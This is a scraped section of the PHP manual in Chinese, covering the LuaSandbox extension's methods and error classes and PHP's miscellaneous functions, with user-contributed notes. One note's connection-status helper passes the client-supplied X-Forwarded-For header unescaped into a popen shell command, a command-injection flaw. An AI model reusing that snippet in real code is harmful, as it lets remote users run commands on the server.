  • Load a precompiled binary chunk into the Lua environment

LuaSandbox::loadBinary

(PECL luasandbox >= 1.0.0)

LuaSandbox::loadBinary — Load a precompiled binary chunk into the Lua environment

说明

public LuaSandbox::loadBinary(string $code, string $chunkName = ''): LuaSandboxFunction

Loads data generated by LuaSandboxFunction::dump().

参数

code

Data from LuaSandboxFunction::dump().

chunkName

Name for the loaded function.

返回值

Returns a LuaSandboxFunction.

参见

  • LuaSandbox::loadString() - Load Lua code into the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Load Lua code into the Lua environment

  • ? LuaSandbox::loadBinary
  • LuaSandbox::pauseUsageTimer ?
  • PHP Manual
  • LuaSandbox
  • Load Lua code into the Lua environment

LuaSandbox::loadString

(PECL luasandbox >= 1.0.0)

LuaSandbox::loadString — Load Lua code into the Lua environment

说明

public LuaSandbox::loadString(string $code, string $chunkName = ''): LuaSandboxFunction

Loads Lua code into the Lua environment.

This is the equivalent of standard Lua's loadstring() function.

参数

code

Lua code.

chunkName

Name for the loaded chunk, for use in error traces.

返回值

Returns a LuaSandboxFunction which, when executed, will execute the passed $code.

示例

Example #1 Loading code into Lua

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Load the code
$function = $sandbox->loadString(
<<<CODE
 return "Hello, world"
CODE
);

// Execute the loaded code
var_dump( $function->call() );

?>

以上示例会输出：

array(1) {
  [0]=>
  string(12) "Hello, world"
}

参见

  • LuaSandbox::registerLibrary() - Register a set of PHP functions as a Lua library
  • LuaSandbox::wrapPhpFunction() - Wrap a PHP callable in a LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Pause the CPU usage timer

  • ? LuaSandbox::loadString
  • LuaSandbox::registerLibrary ?
  • PHP Manual
  • LuaSandbox
  • Pause the CPU usage timer

LuaSandbox::pauseUsageTimer

(PECL luasandbox >= 1.4.0)

LuaSandbox::pauseUsageTimer — Pause the CPU usage timer

说明

public LuaSandbox::pauseUsageTimer(): bool

Pauses the CPU usage timer.

This only has effect when called from within a callback from Lua. When execution returns to Lua, the timer will be automatically unpaused. If a new call into Lua is made, the timer will be unpaused for the duration of that call.

If a PHP callback calls into Lua again with timer not paused, and then that Lua function calls into PHP again, the second PHP call will not be able to pause the timer. The logic is that even though the second PHP call would avoid counting the CPU usage against the limit, the first call still counts it.

参数

此函数没有参数。

返回值

Returns a bool indicating whether the timer is now paused.

示例

Example #1 Manipulating the usage timer

<?php

// create a new LuaSandbox and set a CPU limit
$sandbox = new LuaSandbox();
$sandbox->setCPULimit( 1 );

function doWait( $t ) {
$end = microtime( true ) + $t;
while ( microtime( true ) < $end ) {
// waste CPU cycles
}
}

// Register a PHP callback
$sandbox->registerLibrary( 'php', [
'test' => function () use ( $sandbox ) {
$sandbox->pauseUsageTimer();
doWait( 5 );

$sandbox->unpauseUsageTimer();
doWait( 0.1 );
},
'test2' => function () use ( $sandbox ) {
$sandbox->pauseUsageTimer();
$sandbox->unpauseUsageTimer();
doWait( 1.1 );
}
] );

echo "This should not time out...\n";
$sandbox->loadString( 'php.test()' )->call();

echo "This should time out.\n";
try {
$sandbox->loadString( 'php.test2()' )->call();
echo "It did not?\n";
} catch ( LuaSandboxTimeoutError $ex ) {
echo "It did! " . $ex->getMessage() . "\n";
}

?>

以上示例会输出：

This should not time out...
This should time out.
It did! The maximum execution time for this script was exceeded

参见

  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment
  • LuaSandbox::unpauseUsageTimer() - Unpause the timer paused by LuaSandbox::pauseUsageTimer

User Contributed Notes

There are no user contributed notes for this page.


Register a set of PHP functions as a Lua library

  • ? LuaSandbox::pauseUsageTimer
  • LuaSandbox::setCPULimit ?
  • PHP Manual
  • LuaSandbox
  • Register a set of PHP functions as a Lua library

LuaSandbox::registerLibrary

(PECL luasandbox >= 1.0.0)

LuaSandbox::registerLibrary — Register a set of PHP functions as a Lua library

说明

public LuaSandbox::registerLibrary(string $libname, array $functions): void

Registers a set of PHP functions as a Lua library, so that Lua can call the relevant PHP code.

For more information about calling Lua functions and the return values, see LuaSandboxFunction::call().

参数

libname

The name of the library. In the Lua state, the global variable of this name will be set to the table of functions. If the table already exists, the new functions will be added to it.

functions

An array, where each key is a function name, and each value is a corresponding PHP callable.

返回值

没有返回值。

示例

Example #1 Registering PHP functions to call from Lua

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// Register some functions in the Lua environment

function frobnosticate( $v ) {
return [ $v + 42 ];
}

$sandbox->registerLibrary( 'php', [
'frobnosticate' => 'frobnosticate',
'output' => function ( $string ) {
echo "$string\n";
},
'error' => function () {
throw new LuaSandboxRuntimeError( "Something is wrong" );
}
] );

?>

参见

  • LuaSandbox::loadString() - Load Lua code into the Lua environment
  • LuaSandbox::wrapPhpFunction() - Wrap a PHP callable in a LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Set the CPU time limit for the Lua environment

  • ? LuaSandbox::registerLibrary
  • LuaSandbox::setMemoryLimit ?
  • PHP Manual
  • LuaSandbox
  • Set the CPU time limit for the Lua environment

LuaSandbox::setCPULimit

(PECL luasandbox >= 1.0.0)

LuaSandbox::setCPULimit — Set the CPU time limit for the Lua environment

说明

public LuaSandbox::setCPULimit(float|bool $limit): void

Sets the CPU time limit for the Lua environment.

If the total user and system time used by the environment after the call to this method exceeds this limit, a LuaSandboxTimeoutError exception is thrown.

Time used in PHP callbacks is included in the limit.

Setting the time limit from a callback while Lua is running causes the timer to be reset, or started if it was not already running.

Note:

On Windows, the CPU limit will be ignored. On operating systems that do not support CLOCK_THREAD_CPUTIME_ID, such as FreeBSD and Mac OS X, wall-clock time rather than CPU time will be limited.

参数

limit

Limit as a float in seconds, or false for no limit.

返回值

没有返回值。

示例

Example #1 Calling a Lua function

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// set a time limit
$sandbox->setCPULimit( 2 );

// Run Lua code
$sandbox->loadString( 'while true do end' )->call();

?>

以上示例的输出类似于：

PHP Fatal error:  Uncaught LuaSandboxTimeoutError: The maximum execution time for this script was exceeded

参见

  • LuaSandbox::getCPUUsage() - Fetch the current CPU time usage of the Lua environment
  • LuaSandbox::setMemoryLimit() - Set the memory limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Set the memory limit for the Lua environment

  • ? LuaSandbox::setCPULimit
  • LuaSandbox::unpauseUsageTimer ?
  • PHP Manual
  • LuaSandbox
  • Set the memory limit for the Lua environment

LuaSandbox::setMemoryLimit

(PECL luasandbox >= 1.0.0)

LuaSandbox::setMemoryLimit — Set the memory limit for the Lua environment

说明

public LuaSandbox::setMemoryLimit(int $limit): void

Sets the memory limit for the Lua environment.

If this limit is exceeded, a LuaSandboxMemoryError exception is thrown.

参数

limit

Memory limit in bytes.

返回值

没有返回值。

示例

Example #1 Calling a Lua function

<?php

// create a new LuaSandbox
$sandbox = new LuaSandbox();

// set a memory limit
$sandbox->setMemoryLimit( 50 * 1024 * 1024 );

// Run Lua code
$sandbox->loadString( 'local x = "x"; while true do x = x .. x; end' )->call();

?>

以上示例的输出类似于：

PHP Fatal error:  Uncaught LuaSandboxMemoryError: not enough memory

参见

  • LuaSandbox::getMemoryUsage() - Fetch the current memory usage of the Lua environment
  • LuaSandbox::getPeakMemoryUsage() - Fetch the peak memory usage of the Lua environment
  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Unpause the timer paused by LuaSandbox::pauseUsageTimer

  • ? LuaSandbox::setMemoryLimit
  • LuaSandbox::wrapPhpFunction ?
  • PHP Manual
  • LuaSandbox
  • Unpause the timer paused by LuaSandbox::pauseUsageTimer

LuaSandbox::unpauseUsageTimer

(PECL luasandbox >= 1.4.0)

LuaSandbox::unpauseUsageTimer — Unpause the timer paused by LuaSandbox::pauseUsageTimer()

说明

public LuaSandbox::unpauseUsageTimer(): void

Unpauses the timer paused by LuaSandbox::pauseUsageTimer().

参数

此函数没有参数。

返回值

没有返回值。

参见

  • LuaSandbox::pauseUsageTimer() - Pause the CPU usage timer
  • LuaSandbox::setCPULimit() - Set the CPU time limit for the Lua environment

User Contributed Notes

There are no user contributed notes for this page.


Wrap a PHP callable in a LuaSandboxFunction

  • ? LuaSandbox::unpauseUsageTimer
  • LuaSandboxFunction ?
  • PHP Manual
  • LuaSandbox
  • Wrap a PHP callable in a LuaSandboxFunction

LuaSandbox::wrapPhpFunction

(PECL luasandbox >= 1.2.0)

LuaSandbox::wrapPhpFunction — Wrap a PHP callable in a LuaSandboxFunction

说明

public LuaSandbox::wrapPhpFunction(callable $function): LuaSandboxFunction

Wraps a PHP callable in a LuaSandboxFunction, so it can be passed into Lua as an anonymous function.

The function must return either an array of values (which may be empty), or null which is equivalent to returning the empty array.

Exceptions will be raised as errors in Lua, however only LuaSandboxRuntimeError exceptions may be caught inside Lua with pcall() or xpcall().

For more information about calling Lua functions and the return values, see LuaSandboxFunction::call().

参数

function

Callable to wrap.

返回值

Returns a LuaSandboxFunction.

参见

  • LuaSandbox::loadString() - Load Lua code into the Lua environment
  • LuaSandbox::registerLibrary() - Register a set of PHP functions as a Lua library

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxFunction class

(PECL luasandbox >= 1.0.0)

简介

Represents a Lua function, allowing it to be called from PHP.

A LuaSandboxFunction may be obtained as a return value from Lua, as a parameter
passed to a callback from Lua, or by using
LuaSandbox::wrapPhpFunction(),
LuaSandbox::loadString(), or
LuaSandbox::loadBinary().

类摘要

class LuaSandboxFunction {
/* 方法 */
public call(string ...$args): array|bool
public dump(): string
}

Table of Contents

  • LuaSandboxFunction::call — Call a Lua function
  • LuaSandboxFunction::__construct — Unused
  • LuaSandboxFunction::dump — Dump the function as a binary blob

User Contributed Notes

npelov at croler dot net 29-Sep-2023 04:13
You can also pass function object as argument of LuaSandboxFunction::call():

$lua = new LuaSandbox();
$phpLuaFunction = $lua->wrapPhpFunction(function ($arg){
  echo "LUA> ".$arg;
});

$lua->loadString("print = ...")->call($phpLuaFunction);

$lua->loadString('
  print("print test from lua\\n")
')->call();

result:
LUA> print test from lua


Call a Lua function

  • ? LuaSandboxFunction
  • LuaSandboxFunction::__construct ?
  • PHP Manual
  • LuaSandboxFunction
  • Call a Lua function

LuaSandboxFunction::call

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::call — Call a Lua function

说明

public LuaSandboxFunction::call(string ...$args): array|bool

Calls a Lua function.

Errors considered to be the fault of the PHP code will result in the function returning false and E_WARNING being raised, for example, a resource type being used as an argument. Lua errors will result in a LuaSandboxRuntimeError exception being thrown.

PHP and Lua types are converted as follows:

  • PHP null is Lua nil, and vice versa.

  • PHP ints and floats are converted to Lua numbers. Infinity and NAN are supported.

  • Lua numbers without a fractional part between approximately -2**53 and 2**53 are converted to PHP ints, with others being converted to PHP floats.

  • PHP bools are Lua booleans, and vice versa.

  • PHP strings are Lua strings, and vice versa.

  • Lua functions are PHP LuaSandboxFunction objects, and vice versa. General PHP callables are not supported.

  • PHP arrays are converted to Lua tables, and vice versa.

    • Note that Lua typically indexes arrays from 1, while PHP indexes arrays from 0. No adjustment is made for these differing conventions.

    • Self-referential arrays are not supported in either direction.

    • PHP references are dereferenced.

    • Lua __pairs and __ipairs are processed. __index is ignored.

    • When converting from PHP to Lua, integer keys between -2**53 and 2**53 are represented as Lua numbers. All other keys are represented as Lua strings.

    • When converting from Lua to PHP, keys other than strings and numbers will result in an error, as will collisions when converting numbers to strings or vice versa (since PHP considers things like $a[0] and $a["0"] as being equivalent).

  • All other types are unsupported and will raise an error/exception, including general PHP objects and Lua userdata and thread types.

Lua functions inherently return a list of results. So on success, this method returns an array containing all of the values returned by Lua, with int keys starting from zero. Lua may return no results, in which case an empty array is returned.

参数

args

Arguments passed to the function.

返回值

Returns an array of values returned by the function, which may be empty, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Unused

  • ? LuaSandboxFunction::call
  • LuaSandboxFunction::dump ?
  • PHP Manual
  • LuaSandboxFunction
  • Unused

LuaSandboxFunction::__construct

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::__construct — Unused

说明

final private LuaSandboxFunction::__construct()

LuaSandboxFunction are obtained as a return value from Lua,
as a parameter passed to a callback from Lua, or by using
LuaSandbox::wrapPhpFunction(),
LuaSandbox::loadString(), or
LuaSandbox::loadBinary(). They cannot be constructed directly.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Dump the function as a binary blob

  • ? LuaSandboxFunction::__construct
  • LuaSandboxError ?
  • PHP Manual
  • LuaSandboxFunction
  • Dump the function as a binary blob

LuaSandboxFunction::dump

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::dump — Dump the function as a binary blob

说明

public LuaSandboxFunction::dump(): string

Dumps the function as a binary blob.

参数

此函数没有参数。

返回值

Returns a string that may be passed to LuaSandbox::loadBinary().

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxError class

(PECL luasandbox >= 1.0.0)

简介

Base class for LuaSandbox exceptions

类摘要

class LuaSandboxError extends Exception {
/* 常量 */
const int RUN = 2;
const int SYNTAX = 3;
const int MEM = 4;
const int ERR = 5;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

预定义常量

LuaSandboxError::RUN

LuaSandboxError::SYNTAX

LuaSandboxError::MEM

LuaSandboxError::ERR

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxErrorError class

(PECL luasandbox >= 1.0.0)

简介

Exception thrown when Lua encounters an error inside an error handler.

类摘要

class LuaSandboxErrorError extends LuaSandboxFatalError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxFatalError class

(PECL luasandbox >= 1.0.0)

简介

Uncatchable LuaSandbox exceptions.

These may not be caught inside Lua using pcall() or xpcall().

类摘要

class LuaSandboxFatalError extends LuaSandboxError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxMemoryError class

(PECL luasandbox >= 1.0.0)

简介

Exception thrown when Lua cannot allocate memory.

类摘要

class LuaSandboxMemoryError extends LuaSandboxFatalError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

参见

  • LuaSandbox::setMemoryLimit()

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxRuntimeError class

(PECL luasandbox >= 1.0.0)

简介

Catchable LuaSandbox runtime exceptions.

These may be caught inside Lua using pcall() or xpcall().

类摘要

class LuaSandboxRuntimeError extends LuaSandboxError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxSyntaxError class

(PECL luasandbox >= 1.0.0)

简介

Exception thrown when Lua code cannot be parsed.

类摘要

class LuaSandboxSyntaxError extends LuaSandboxFatalError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaSandboxTimeoutError class

(PECL luasandbox >= 1.0.0)

简介

Exception thrown when the configured CPU time limit is exceeded.

类摘要

class LuaSandboxTimeoutError extends LuaSandboxFatalError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

参见

  • LuaSandbox::setCPULimit()

User Contributed Notes

There are no user contributed notes for this page.


杂项函数

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 杂项 函数
    • connection_aborted — 检查客户端是否已经断开
    • connection_status — 返回连接的状态位
    • constant — 返回一个常量的值
    • define — 定义一个常量
    • defined — 检查某个名称的常量是否存在
    • die — 等同于 exit
    • eval — 把字符串作为PHP代码执行
    • exit — 输出一个消息并且退出当前脚本
    • get_browser — 获取浏览器具有的功能
    • __halt_compiler — 中断编译器的执行
    • highlight_file — 语法高亮一个文件
    • highlight_string — 字符串的语法高亮
    • hrtime — 获取系统的高精度时间
    • ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行
    • pack — 将数据打包成二进制字符串
    • php_strip_whitespace — 返回删除注释和空格后的PHP源码
    • sapi_windows_cp_conv — Convert string from one codepage to another
    • sapi_windows_cp_get — Get current codepage
    • sapi_windows_cp_is_utf8 — Indicates whether the codepage is UTF-8 compatible
    • sapi_windows_cp_set — Set process codepage
    • sapi_windows_generate_ctrl_event — Send a CTRL event to another process
    • sapi_windows_set_ctrl_handler — Set or remove a CTRL event handler
    • sapi_windows_vt100_support — Get or set VT100 support for the specified stream associated to an output buffer of a Windows console.
    • show_source — 别名 highlight_file
    • sleep — 延缓执行
    • sys_getloadavg — 获取系统的负载（load average）
    • time_nanosleep — 延缓执行若干秒和纳秒
    • time_sleep_until — 使脚本睡眠到指定的时间为止
    • uniqid — 生成一个唯一ID
    • unpack — Unpack data from binary string
    • usleep — 以指定的微秒数延迟执行
  • 更新日志

User Contributed Notes

There are no user contributed notes for this page.


简介

因为这些函数不适合其他章节，所以放置于此。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

杂项配置选项
名字 | 默认 | 可修改范围 | 更新日志
ignore_user_abort | "0" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.html | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

ignore_user_abort bool

默认值为 false 。 如果设置为 true ，在客户端断开连接后，脚本不会被中止。

参见 ignore_user_abort().

highlight.bg string
highlight.comment string
highlight.default string
highlight.html string
highlight.keyword string
highlight.string string

语法高亮的颜色。可设置为 <font color="??????"> 中任何可接受的代码。

browscap string

浏览器功能文件的位置和文件名 (例如 browscap.ini)。 参见 get_browser()。

User Contributed Notes

Eric 30-Jul-2020 02:45
*** Additions to the previous message ***

To change the style directly from a CSS file, it is recommended to only go through classes instead of hard-coding it.

<?php

    // Create an array with default php functions

    $functions = array("default", "html", "keyword", "string", "comment");

    // Replace color code (ex: #FF8000) with class name (ex:"highlight-comment")

    foreach ($functions as $value) {
        ini_set("highlight.$value", "highlight-$value;");
    }

    $content = highlight_file($filename, true);
    // or
    $content = highlight_string($string, true);

    // Convert style="color: highlight-function" into class="highlight-function" into $content
    // It allows you to modify only the default functions

    foreach ($functions as $value) {
        $content = preg_replace("/style=\"color: highlight-$value;\"/", "class=\"highlight-$value\"", $content);
    }

?>

And in the CSS file (for example) :

.highlight-html { color: #000000; }
.highlight-default { color: #0000bb; }
.highlight-keyword { color: #007700; font-weight: bold; }
.highlight-string { color: #dd0000; }
.highlight-comment { color: #ff8000; }
Eric 30-Jul-2020 12:51
To change the style directly from a CSS file, it is recommended to only go through classes instead of hard-coding it.

<?php

    $functions = array("default", "html", "keyword", "string", "comment");

    foreach ($functions as $value) {
        ini_set("highlight.$value", "highlight-$value;");
    }

?>

And in the CSS file (for example) :

.highlight-html { color: #000000; }
.highlight-default { color: #0000bb; }
.highlight-keyword { color: #007700; font-weight: bold; }
.highlight-string { color: #dd0000; }
.highlight-comment { color: #ff8000; }
Nico 31-Mar-2018 04:07
To pass more than one css rule, but also a class, an id, or any html attribute to highlighted element, we can escape a quote to close the inline styling:

    ini_set('highlight.string', '#F8F8F8 ; font-size:1.4em\" class=\'string\' ');


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

CONNECTION_ABORTED (int)
CONNECTION_NORMAL (int)
CONNECTION_TIMEOUT (int)
__COMPILER_HALT_OFFSET__ (int)

User Contributed Notes

There are no user contributed notes for this page.


杂项 函数

Table of Contents

  • connection_aborted — 检查客户端是否已经断开
  • connection_status — 返回连接的状态位
  • constant — 返回一个常量的值
  • define — 定义一个常量
  • defined — 检查某个名称的常量是否存在
  • die — 等同于 exit
  • eval — 把字符串作为PHP代码执行
  • exit — 输出一个消息并且退出当前脚本
  • get_browser — 获取浏览器具有的功能
  • __halt_compiler — 中断编译器的执行
  • highlight_file — 语法高亮一个文件
  • highlight_string — 字符串的语法高亮
  • hrtime — 获取系统的高精度时间
  • ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行
  • pack — 将数据打包成二进制字符串
  • php_strip_whitespace — 返回删除注释和空格后的PHP源码
  • sapi_windows_cp_conv — Convert string from one codepage to another
  • sapi_windows_cp_get — Get current codepage
  • sapi_windows_cp_is_utf8 — Indicates whether the codepage is UTF-8 compatible
  • sapi_windows_cp_set — Set process codepage
  • sapi_windows_generate_ctrl_event — Send a CTRL event to another process
  • sapi_windows_set_ctrl_handler — Set or remove a CTRL event handler
  • sapi_windows_vt100_support — Get or set VT100 support for the specified stream associated to an output buffer of a Windows console.
  • show_source — 别名 highlight_file
  • sleep — 延缓执行
  • sys_getloadavg — 获取系统的负载（load average）
  • time_nanosleep — 延缓执行若干秒和纳秒
  • time_sleep_until — 使脚本睡眠到指定的时间为止
  • uniqid — 生成一个唯一ID
  • unpack — Unpack data from binary string
  • usleep — 以指定的微秒数延迟执行

User Contributed Notes

There are no user contributed notes for this page.


检查客户端是否已经断开

  • ? 杂项 函数
  • connection_status ?
  • PHP Manual
  • 杂项 函数
  • 检查客户端是否已经断开

connection_aborted

(PHP 4, PHP 5, PHP 7, PHP 8)

connection_aborted — 检查客户端是否已经断开

说明

connection_aborted(): int

检查客户端是否已经断开。

参数

此函数没有参数。

返回值

如果客户端已经断开则返回1，否则返回0。

参见

  • connection_status() - 返回连接的状态位
  • ignore_user_abort() - 设置客户端断开连接时是否中断脚本的执行
  • 查看连接处理 了解PHP处理连接的详情。

User Contributed Notes

Rupak Bajgain 14-Jul-2023 04:25
One trick i used uas to send values in comment to get long pooling with disconnect check

Like for json:
Send 0 and flush before connection aborted.
Eg. {"x":"000000
And after result is ready send ", and json after removing 1st {
So it looks like
{"x":"00000000000","y":"result","z":"result2"}
jamest344 at gmail dot com 11-Jan-2018 12:22
Declaration: I'm a novice.
The action on client connection loss which I wanted occurred upon browser or tab closure but not upon network link severance.  This was remedied by nobbling apache2's mod_deflate.  Other conf settings I changed may also be important (timeout?).  Thus at the bottom of my page.html I have:
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("GET", "Caller.php", true);
xhttp.send();
</script>
Then in Caller.php I have:
<?php
ignore_user_abort(TRUE);
Header('Location: monitor.php');
?>
And in monitor.php:
<?php
ignore_user_abort(TRUE);
set_time_limit(0);
echo connection_status();
                                                while(1)
                                                {
                                                echo "something - anything - to go here - need a good few lines of it";
                                                ob_flush();
                                                flush();
                                                sleep(1);

if(connection_status()!=0)
                                                {
                                                break;
                                                }
                                                }

shell_exec("DESIRED ACTION HERE");
?>
sivann at gmail dot com 03-Apr-2016 08:06
I have failed to get accurate results from this even with echo, flush(), and other buffer manipulation trickery. The following function detects connection status from the OS netstat(1) in linux, even without echoing anything. You may need to alter the parsing for windows or older versions of netstat. It calls an external command so it consume some resources, use it with care e.g. you can call it every some seconds while waiting for long-poll requests. Not tested with ipv6.

//returns connection status (ESTABLISHED, TIME_WAIT, etc) or NOT_FOUND
function getConnectionStatus() {
            $remote_ip = $_SERVER['REMOTE_ADDR']?:($_SERVER['HTTP_X_FORWARDED_FOR']?:$_SERVER['HTTP_CLIENT_IP']);
            $remote_port=$_SERVER['REMOTE_PORT'];

            $cmd="netstat -tn | fgrep ' $remote_ip:$remote_port '";

            $pfp=popen($cmd,"r");
                        if(!$pfp) {
                                error_log ("getConnectionStatus: $cmd");
                        }

            $buf = fgets($pfp, 1024);
            pclose($pfp);

            $buf=preg_replace('!\s+!', ' ', $buf); //remove multiple spaces
            $buf=trim($buf);

            $buf_r=explode(" ",$buf);

            if (count($buf_r)) {
                    $state=$buf_r[count($buf_r)-1];
                    return trim($state);
            }

            return "NOTFOUND";
    }

//check for it:
if (getConnectionStatus() != "ESTABLISHED") { ...}
jeff1326 at hotmail dot com 27-Oct-2015 09:21
From ignore_user_abort function :

PHP will not detect that the user has aborted the connection until an attempt is made to send information to the client. Simply using an echo statement does not guarantee that information is sent, see flush().

This rule seems to apply here too.
nathanb at php dot net 21-Jan-2013 08:50
A trick to detecting if a connection is closed without having to send data that will otherwise corrupt the stream of data (like a binary file) you can use a combination of chunking the data on HTTP/1.1 by sending a "0" ("zero") as a leading chunk size without anything else.

*NOTE* it's important to note that it's not a good idea to check the stream more then once every few seconds. By doing this you are potentially increasing the data sent to the user with no gain to the user.

A good reason to do it this way is if you are generating a report that takes a long time to run and takes a lot of server resources. This would allow the server to detect if a user canceled the download and do any cleanup without corrupting the file file being download.

Here is an example:

<?php
ignore_user_abort(true);
header('Transfer-Encoding:chunked');
ob_flush();
flush();
$start = microtime(true);
$i = 0;
// Use this function to echo anything to the browser.
function vPrint($data){
    if(strlen($data))
        echo dechex(strlen($data)), "\r\n", $data, "\r\n";
    ob_flush();
    flush();
}
// You MUST execute this function after you are done streaming information to the browser.
function endPacket(){
    echo "0\r\n\r\n";
    ob_flush();
    flush();
}
do{
    echo "0";
    ob_flush();
    flush();
    if(connection_aborted()){
        // This happens when connection is closed
        file_put_contents('/tmp/test.tmp', sprintf("Conn Closed\nTime spent with connection open: %01.5f sec\nLoop itterations: %s\n\n", microtime(true) - $start, $i), FILE_APPEND);
        endPacket();
        exit;
    }
    usleep(50000);
    vPrint("I get echo'ed every itteration (every .5 second)<br />\n");
}while($i++ < 200);
endPacket();
?>
Luciano 18-Dec-2009 01:01
In order to detect a disconnection inside the script we need to flush the buffer (it is only when the the server tries to send the buffer content that it will see that the connection is broken).

Thus we need to use the ob_implicit_flush() function to flush automatically the buffer

This is an example of a disconnection detection :

<?php
  // enables the automatic flush
  ob_implicit_flush();

  function verifyCommunication() {
    $status = (connection_aborted()?"not ":"") ."sent";
    persistCommunication(new Communication($status));
  }

  // we will check the communication state when the script finished
  register_shutdown_function(verifyCommunication);
  echo "blabla";
  // this sleep is used to have time to break the connection on the client side
  sleep(10);
  echo"tata";
?>

I use such a process to cancel a request if the client didn't get the acknowledgement because he will redo his request...
rickyale at ig dot com dot br 13-Nov-2009 11:49
(connection_aborted not working)
I had this problem years ago, now the problem came back after upgrading php... i tried everything i found and in the end the function ob_end_flush();  on top of script as post in php bug track solved the problem. Im using windows 7 x64 / php 5.2.4 / apache 2.2.14 (win32)

try adding ob_end_flush(); on top of you script.
i read something about this but can't remember where, it was related to a bug or something.

hope this help.
phpcoder at cyberpimp dot techlab dot info 27-Jun-2007 11:50
Although the documentation indicates it returns an int, I found comparing the return value with numeric values does not seem to work.

Example (does not work):
<?php
if (connection_aborted()==1) {
fwrite($filehandle, 'aborted!');
}
?>

You're better off just assuming it returns boolean

Example (does work):
<?php
if (connection_aborted()) {
fwrite($filehandle, 'aborted!');
}
?>


返回连接的状态位

  • ? connection_aborted
  • constant ?
  • PHP Manual
  • 杂项 函数
  • 返回连接的状态位

connection_status

(PHP 4, PHP 5, PHP 7, PHP 8)

connection_status — 返回连接的状态位

说明

connection_status(): int

获得当前连接的状态位。

参数

此函数没有参数。

返回值
